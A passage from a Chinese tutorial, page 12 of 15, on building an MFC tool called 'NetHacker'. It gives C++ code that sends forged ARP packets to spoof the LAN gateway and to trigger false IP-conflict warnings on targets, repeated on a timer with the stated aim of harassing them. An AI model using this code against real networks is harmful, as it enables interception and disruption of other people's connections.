|   下面我们来介绍"ARP欺骗"和"报告IP冲突"的实现方法。ARP欺骗很简单,发送一个ARP报文,目的IP为攻击目标,源IP为局域网网关,源MAC地址瞎弄一个或弄成自己的即可: SendArpReq(gateIp, desIp,mmac);   "报告IP冲突"的实现方法是,发送一个ARP报文,源IP为攻击目标,目的IP瞎弄一个,MAC地址也瞎弄一个: SendArpReq(desIp, 2,mac);   为了不断的骚扰对方,我们可以弄个定时器,在OnTimer()的时候就给需要欺骗的目标整一个伪造报文: void CNetHackerDlg::OnTimer(UINT nIDEvent){
 //…
 for (int i = 0; i < currentHstIndex; i++)
 {
 if (hostList[i].arpCheat == 1)
 {
 SendArpReq(gateIp, desIp, mmac);
 }
 if (hostList[i].ipConflict == 1)
 {
 SendArpReq(desIp, 2, mac);
 }
 }
 }
   最后,因为对话框程序的回车键会产生与按下OK按钮同样的效果,即对话框程序会关闭,而我们的上述程序不需要OK按钮,因此,可以直接覆盖OnOk()函数,相关代码为: 
class CNetHackerDlg: public CDialog{
 //...
 // Generated message map functions
 //{{AFX_MSG(CNetHackerDlg)
 virtual BOOL OnInitDialog();
 afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
 afx_msg void OnPaint();
 afx_msg HCURSOR OnQueryDragIcon();
 afx_msg void OnStartstopButton();
 afx_msg void OnTimer(UINT nIDEvent);
 afx_msg void OnRecvPkt();
 afx_msg void OnOk(); //OK按钮处理函数
 //}}AFX_MSG
 //...
 };
 BEGIN_MESSAGE_MAP(CNetHackerDlg, CDialog)//{{AFX_MSG_MAP(CNetHackerDlg)
 ON_WM_SYSCOMMAND()
 ON_WM_PAINT()
 ON_WM_QUERYDRAGICON()
 ON_BN_CLICKED(IDC_STARTSTOP_BUTTON, OnStartstopButton)
 ON_BN_CLICKED(IDOK,OnOk) //OK按钮消息影射
 ON_WM_TIMER()
 ON_MESSAGE(RECV_PKT, OnRecvPkt)
 //}}AFX_MSG_MAP
 END_MESSAGE_MAP()
 void CNetHackerDlg::OnOk(){
 CAboutDlg dlg;
 dlg.DoModal();
 }
 
		      
		      
		      
		      
		      
		      
                        共15页: 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] 12 [13] [14] [15] 下一页 |